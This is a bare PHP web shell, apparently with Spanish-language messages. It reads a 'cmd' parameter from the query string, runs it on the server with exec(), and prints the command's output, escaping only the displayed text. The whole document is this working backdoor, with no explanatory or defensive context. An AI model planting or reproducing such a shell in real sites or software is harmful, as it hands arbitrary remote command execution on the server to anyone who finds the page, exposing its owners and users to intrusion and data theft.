if (isset($_GET['cmd'])) {

$cmd = $_GET['cmd'];

echo "Comando recibido: " . htmlspecialchars($cmd) . "

";

exec($cmd, $output);

echo "Salida:
";
echo "<pre>";
foreach ($output as $line) {
echo htmlspecialchars($line) . "\n";
}
echo "</pre>";

} else {
echo "Usá ?cmd=COMANDO";
}